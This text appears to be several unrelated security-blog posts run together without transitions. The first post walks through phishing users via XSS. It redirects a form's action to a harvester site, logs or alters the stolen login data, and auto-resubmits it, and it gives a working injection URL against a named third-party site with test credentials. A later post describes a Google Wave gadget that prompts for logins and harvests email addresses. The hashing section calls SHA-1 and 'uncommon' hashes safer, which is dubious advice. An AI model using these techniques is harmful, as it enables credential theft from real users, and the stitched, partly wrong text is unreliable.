Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.

Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue.

One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.

With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.

It can be done with this 3 step attack:

1. step: Inject the forms of a XSS exploitable page, e.g. with a script like this: http://www.e-x-e.dk/labs/autoPhisher/injector.js. A super simple yet effective script I’ll be using for this PoC.

2. step: Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:

http://www.e-x-e.dk/labs/autoPhisher/source/index.php

This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc.

The last part of the script is computing a new pusher-injected URL to which the victim will be sent.

3. step: Let the pusher to its job

Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript.

The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:

http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php

Here a place you can test this thing out:

http://www.doid.dk/page/main.asp?error=timeout&referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E

Example user / password: testerLars / testerLars

Let me know what you think by making some comments and maybe leaving some more usage examples.

Speed

I started with some benchmarking: http://e-x-e.dk/labs/timing/ (source: http://www.e-x-e.dk/labs/timing/source.php).

This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.

Common vs. uncommon method

When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (http://www.freerainbowtables.com/da/tables/md5/). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.

Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce.

Hash method attacks

The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (http://en.wikipedia.org/wiki/Collision_attack) or a preimage attack (http://en.wikipedia.org/wiki/Preimage_attack). Therefore you should also have this in your considerations when choosing a hashing method for your site.

Other things to consider

Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.

I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?

So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right?

Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.

One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.

One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”.

The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.

This is what I’ve been doing the last day or two I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox

My Gadget can be viewed and tested at this URL:

http://e-x-e.dk/labs/waveHack/hack1.xml

But despite the fact of this almost (in computer and internet terms) prehistoric release date TrendLabs’s writer David Sancho still found it relevant to comment on it December 21, 2009. Hole smoke, talk about late timing.

The paper is written about which files you can let your antivirus software not scan in order to increase the performance of your operating system. The decrease of performance is due to file locking. Microsoft recommends that if you are having performance issues cost by the antivirus which is caused by these locked files. It’s a quick and rather dirty fix, which is also what David Sancho wants to point out.

David Sancho got the point when he say the following:

In line with this, we advise users to educate themselves fully about these recommendations before taking any action.

I states that the biggest risk to the consumers computer and internet security is the consumer themselves. As security professionals we need to secure the consumers from themselves because, sadly, they don’t have a clue of what they are doing or what they are agreeing when visiting malicious and non-malicious websites. This of course, is badly generalised but if you as a security concerned programmer wants to create the most secure environment for your user, you’ll have to secure the user from the user itself.

Back to the Microsoft paper. Microsoft as a huge influence on the users should consider more carefully what they are releasing to the public and most of all they should re-read their own papers at least every year in order to make sure that they are giving their users the best kind of advise and in that way contributing to a more secure environment for the normal user.

What do you think of all this? What should Microsoft do to create a more secure envirnorment? Or should the users be more poweruser like?

The Microsoft paper can be found here.

The blog post by David Sancho can be found here.

This was just a quick helping post for you guys (and girls) Happy Easter!